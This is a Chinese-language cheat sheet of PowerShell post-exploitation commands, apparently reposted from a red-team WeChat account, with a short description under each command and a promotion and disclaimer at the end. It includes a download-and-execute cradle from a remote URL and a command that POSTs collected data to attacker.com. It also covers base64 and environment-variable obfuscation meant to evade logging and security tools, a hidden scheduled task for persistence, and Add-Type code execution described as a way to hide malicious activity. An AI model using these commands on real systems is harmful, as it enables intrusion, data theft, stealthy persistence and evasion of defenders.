-
• 监控文件系统更改 (Monitoring File System Changes)
$watcher = New-Object System.IO.FileSystemWatcher; $watcher.Path = 'C:'; $watcher.IncludeSubdirectories = $true; $watcher.EnableRaisingEvents = $true; Register-ObjectEvent$watcher'Created'-Action { Write-Host'File Created: '$Event.SourceEventArgs.FullPath }
描述: 设置文件系统监视器,跟踪并记录任何更改,例如文件创建。可以用于检测可疑活动或监控目标文件。
-
• 从 URL 下载并执行脚本 (Downloading and Executing Scripts from URL) - (变体形式)
iex (iwr'http://example.com/script.ps1').Content
描述: 此命令是一种常见的 远程代码执行 技术。它允许攻击者从远程服务器下载 PowerShell 脚本并在目标系统上直接在内存中执行,而无需将脚本保存到磁盘。
-
• 内存中脚本执行 (In-Memory Script Execution)
$code = [System.IO.File]::ReadAllText('C:tempscript.ps1'); Invoke-Expression$code
-
• 编码命令执行 (Encoded Command Execution)
$encodedCmd = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Get-Process')); powershell.exe -EncodedCommand$encodedCmd
描述: 执行 Base64 编码的 PowerShell 命令,可以帮助绕过简单的命令行日志记录和分析工具。
-
• 环境变量混淆 (Environment Variable Obfuscation)
$env:PSVariable = 'Get-Process'; Invoke-Expression$env:PSVariable
描述: 将命令存储在环境变量中,然后执行它,这可以帮助隐藏命令,使其不易被随意观察和某些安全工具检测到。
-
• 带外数据泄露 (Out-Of-Band Data Exfiltration)
$data = Get-Process | ConvertTo-Json; Invoke-RestMethod-Uri'http://attacker.com/data'-Method Post -Body$data
描述: 使用 Web 请求将数据泄露到目标网络之外,可以绕过传统的数据丢失防护机制。
-
• 使用 PowerShell 访问 WMI 以实现隐身 (Using PowerShell to Access WMI for Stealth)
$query = 'SELECT * FROM Win32_Process'; Get-WmiObject-Query$query
描述: 利用 WMI(Windows Management Instrumentation)执行系统查询,这可能比直接的 PowerShell 命令更不显眼。
-
• 计划任务用于持久化 (Scheduled Task for Persistence)
$action = New-ScheduledTaskAction-Execute'Powershell.exe'-Argument'-NoProfile -WindowStyle Hidden -Command "YourCommand"'; $trigger = New-ScheduledTaskTrigger-AtStartup; Register-ScheduledTask-Action$action-Trigger$trigger-TaskName'MyTask'-Description'MyDescription'
描述: 创建计划任务以执行 PowerShell 命令,确保持久性并在系统重启后仍然执行。
-
• 利用 PowerShell Add-Type 进行代码执行 (Utilizing PowerShell Add-Type for Code Execution)
Add-Type-TypeDefinition'using System; public class MyClass { public static void Run() { Console.WriteLine("Executed"); } }'; [MyClass]::Run()
描述: 使用 PowerShell 在自定义 .NET 类中定义和执行代码,可用于将恶意活动隐藏在看似良性的代码中。
如果你对网络安全、红队攻防技术充满热情,渴望学习更多实战技巧,例如渗透测试、自动化脚本编写、免杀技术等, 欢迎关注我的公众号 “红队工坊”。 在这里,我会持续分享更多原创高质量的技术文章,与你一同探索网络安全的奥秘,提升实战技能! 让我们一起在队攻防的道路上,不断精进,突破边界!
免责声明: 本文仅供安全技术研究与学习交流之用。 严禁将本文所提及的技术用于任何非法用途,包括但不限于未经授权的渗透测试、网络攻击、恶意代码传播等。
原文始发于微信公众号(红队工坊):powershell命令-后渗透
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论